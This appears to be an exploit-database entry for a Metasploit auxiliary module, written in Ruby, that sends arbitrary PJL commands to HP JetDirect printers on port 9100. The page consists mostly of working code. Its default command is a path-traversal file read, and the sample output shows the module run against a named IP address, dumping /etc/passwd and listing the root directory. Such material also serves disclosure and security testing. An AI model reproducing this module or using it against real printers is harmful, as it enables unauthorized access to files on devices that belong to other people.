HP JetDirect PJL Query Execution

2011.08.08
Credit: Myo Soe
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

# Exploit Title: HP JetDirect PJL Query Execution # Date: Aug 7, 2011 # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/> # Software Link: http://www.hp.com # Version: All # Tested on: HP LaserJet Pxxxx Series ## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # Sample Output: # # # msf auxiliary(hp_printer_pjl_cmd) > show options # # Module options (auxiliary/admin/hp_printer_pjl_cmd): # # Name Current Setting Required Description # ---- --------------- -------- ----------- # CMD FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999 yes PJL Command to run # INTERACTIVE true no Enter interactive mode [msfconsole Only] # RHOST 202.138.16.21 yes The target address # RPORT 9100 yes The target port # # msf auxiliary(hp_printer_pjl_cmd) > run # # [*] Entering interactive mode ... # [*] Please wait while executing - # [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999 # [+] Server returned the following response: # # root::0:0::/:/bin/dlsh # # # [*] Enter PJL Command: # [*] -> 'quit' to exit # $ > fsdirlist name="0:/../../../" entry=1 count=99999999 # [*] Please wait while executing - # [*] fsdirlist name="0:/../../../" entry=1 count=99999999 # [+] Server returned the following response: # # . TYPE=DIR # .. TYPE=DIR # bin TYPE=DIR # usr TYPE=DIR # etc TYPE=DIR # hpmnt TYPE=DIR # hp TYPE=DIR # lib TYPE=DIR # dev TYPE=DIR # init TYPE=FILE SIZE=9016 # .profile TYPE=FILE SIZE=834 # tmp TYPE=DIR # # # [*] Enter PJL Command: # [*] -> 'quit' to exit # $ > quit # [*] Exited ... Have fun with your Printer! # [*] Auxiliary module execution completed # msf auxiliary(hp_printer_pjl_cmd) > require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => 'HP JetDirect Printer PJL Query Execution', 'Version' => '$Revision: 1 $', 'Description' => %q{ This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP. }, 'Author' => [ 'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ], [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ], [ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ], [ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ] ], 'DisclosureDate' => ' 2011')) register_options( [ OptString.new('CMD', [ true, "PJL Command to run", 'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999' ] ), OptBool.new('INTERACTIVE', [ false, "Enter interactive mode [msfconsole Only]", false ] ), Opt::RPORT(9100) ],self.class) end def run mode = datastore['INTERACTIVE'] if mode == true set_interactive(datastore['CMD']) else set_onetime(datastore['CMD']) end end def set_interactive(scmd) cmd = scmd print_status("Entering interactive mode ...") stop = false set_onetime(cmd) until stop == true print_status("Enter PJL Command:") print_status("-> 'quit' to exit") print("$ > ") tmp_cmd = '' tmp_cmd = gets.chomp.to_s if tmp_cmd =~ /quit/ stop= true print_status("Exited ... Have fun with your Printer!") else set_onetime(tmp_cmd) end end end def set_onetime(scmd) connect cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a" r_cmd = cmd.sub("[REPLACE]",scmd) print_status("Please wait while executing -") print_status("#{scmd}") recv = sock.put(r_cmd) res = sock.get(-1,1) if (!res) print_error("ERROR in receiving data!\r\n") else if res.to_s =~ /ERROR/ print_error("BAD COMMAND OR ERROR\r\n") disconnect return end resx = res.to_s[res.index("\r\n")+1,res.length] print_good("Server returned the following response:\r\n#{resx}") end disconnect end end

References:

http://xforce.iss.net/xforce/xfdb/63261
http://www.vupen.com/english/advisories/2010/2987
http://www.securityfocus.com/bid/44882
http://www.nruns.com/_downloads/SA-2010%20003-Hewlett-Packard.pdf
http://www.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02004333
http://www.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02004333
http://www.exploit-db.com/exploits/15631
http://securitytracker.com/id?1024741
http://secunia.com/advisories/42238


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